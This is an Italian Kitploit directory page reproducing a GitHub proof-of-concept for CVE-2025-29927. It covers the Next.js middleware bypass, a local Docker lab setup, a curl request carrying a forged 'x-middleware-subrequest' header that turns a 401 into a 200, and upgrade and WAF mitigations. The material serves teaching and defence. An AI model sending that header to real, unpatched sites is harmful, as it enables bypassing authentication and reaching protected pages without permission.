Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29927-Nextjs-Bypass-PoC — Una Proof of Concept per CVE-2025-29927 che dimostra un bypass del middleware nelle versioni di Next.js precedenti alla 13.5.9 | Kitploit
Strumenti/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e Formazione
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

Una Proof of Concept per CVE-2025-29927 che dimostra un bypass del middleware nelle versioni di Next.js precedenti alla 13.5.9

Vedi Repository
127 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC: CVE-2025-29927 - Bypass del Middleware di Next.js

Questo repository contiene un Proof of Concept (PoC) che dimostra come bypassare i controlli di sicurezza del middleware in Next.js (v13.5.6) sfruttando una vulnerabilità relativa agli header HTTP interni.


Panoramica della Vulnerabilità: CVE-2025-29927

Cos'è?

CVE-2025-29927 è una vulnerabilità di Bypass del Middleware presente nelle versioni di Next.js 1.11.4 e precedenti alle versioni 12.3.5, 13.5.9, 14.2.25 e 15.2.3. Permette a un attaccante esterno di saltare la logica di sicurezza – come l'autenticazione, il rilevamento di bot o i reindirizzamenti geografici – che uno sviluppatore ha implementato nel file middleware.ts.

La Causa Principale: Fiducia negli Header

Next.js utilizza header HTTP interni per comunicare tra i propri diversi livelli architetturali. Uno di questi header è x-middleware-subrequest.

La vulnerabilità esiste perché le versioni vulnerabili di Next.js si fidano di questo header anche quando viene inviato da un client esterno (come un browser o ). Quando il server vede questo header, assume che la richiesta sia già stata elaborata e "autorizzata" dal middleware, quindi salta l'esecuzione del tuo codice di sicurezza.

curl

Impatto

  • Bypass dell'Autenticazione: Se la tua app si basa sul middleware per verificare i token di login, un attaccante può bypassare questo controllo per accedere a pagine protette.
  • Elusione dei Filtri di Sicurezza: Qualsiasi logica progettata per bloccare IP o user agent malevoli viene ignorata.
  • Divulgazione di Informazioni: Accesso a rotte interne che dovrebbero essere limitate.

Configurazione dell'Ambiente

Il laboratorio è eseguito all'interno di un container Docker Node:18-alpine per garantire un ambiente pulito e riproducibile.


Passo 1 – Creare il Container

Iniziamo avviando un container denominato in background. Usiamo sleep infinity per mantenere il container attivo durante la configurazione.

Inizialmente ho avuto alcuni problemi nel riavviare il container nelle fasi successive, ecco perché ho scelto sleep infinity.

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Step 1

Passo 2 – Installare Next.js 13.5.6

Installiamo la specifica versione vulnerabile di Next.js. Nota che nonostante il flag --src-dir false, il framework crea una directory src, dove dobbiamo posizionare il nostro middleware per renderlo attivo.

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Step 2.1
Step 2.2

Passo 3 – Creare il "Guardiano" (Middleware)

Per simulare una barriera di sicurezza, creiamo un file middleware.ts. Questo middleware è configurato per bloccare tutte le richieste in arrivo con uno stato 401 Non Autorizzato.

root@kitploit:~
# Entra nella shell del container
docker exec -it CVE-2025-29927-Lab sh

# Crea il file middleware all'interno della directory src (un unico comando lungo)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Step 3

Passo 4 – Avviare il Server

Avvia il server di sviluppo e attendi il segnale ✓ Ready nella console.

root@kitploit:~
# Sempre nella shell del container del Passo 3 - esegui il comando seguente.
cd lab && npm run dev
Step 4

Passo 5 – Verifica e Sfruttamento

Apri una nuova finestra del terminale (non chiudere il terminale precedente) sulla macchina host per testare l'ambiente usando curl.

1. Richiesta Normale (Bloccata)

Una richiesta standard senza header modificati viene correttamente intercettata e bloccata dal nostro middleware.

root@kitploit:~
curl.exe -I http://localhost:3000/
# Risposta attesa: HTTP/1.1 401 Unauthorized

2. Bypass tramite CVE-2025-29927 (Sfruttamento)

Iniettando l'header interno x-middleware-subrequest: src/middleware, inganniamo Next.js facendogli credere che la richiesta sia già stata verificata da un processo interno. Il server salta l'esecuzione del middleware e concede accesso completo.

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Risposta attesa: HTTP/1.1 200 OK
Step 5

Mitigazione

Per proteggere la tua applicazione da CVE-2025-29927, dovresti aggiornare Next.js alla versione corretta corrispondente al tuo rilascio principale attuale:

1. Aggiornamenti Raccomandati

La vulnerabilità è risolta nelle seguenti versioni. Assicurati che il tuo package.json rifletta almeno queste versioni:

  • Next.js 15: Aggiorna a 15.2.3 o successive.
  • Next.js 14: Aggiorna a 14.2.25 o successive.
  • Next.js 13: Aggiorna a 13.5.9 o successive (la versione usata in questo PoC).
  • Next.js 12: Aggiorna a 12.3.5 o successive.
root@kitploit:~
# Esempio per aggiornare all'ultima versione corretta
npm install next@latest

2. Difesa a Livello di Infrastruttura

Se un aggiornamento immediato non è possibile, dovresti configurare il tuo Web Application Firewall (WAF) o Reverse Proxy (es. Nginx, Cloudflare, o Varnish) per rimuovere o bloccare l'header x-middleware-subrequest da tutte le richieste esterne in arrivo prima che raggiungano il server applicativo Next.js.

3. Verifica

Dopo l'aggiornamento, puoi verificare la correzione eseguendo nuovamente il comando di sfruttamento del Passo 5. Un server corretto non restituirà più un 200 OK quando l'header contraffatto è presente.


Conclusione

Questa vulnerabilità esiste perché Next.js si fida degli header lato client per identificare le sotto-richieste interne. Per mitigarla, Next.js dovrebbe essere aggiornato a una versione che convalidi o rimuova correttamente questi header interni dal traffico esterno in arrivo.

Disclaimer: Questo PoC è solo a scopo educativo.

Riferimenti

  • Entry Ufficiale NVD: Dettaglio CVE-2025-29927 - Conferma le versioni affette 13.5.1 fino a 13.5.8 e la correzione in 13.5.9.
  • Advisory di Sicurezza GitHub: GHSA-65p9-6799-7872 - L'advisory originale riguardante il bypass del middleware.
  • Rilasci di Sicurezza Next.js: Blog di Next.js - Annuncio ufficiale delle patch di sicurezza.
Scarica lo strumento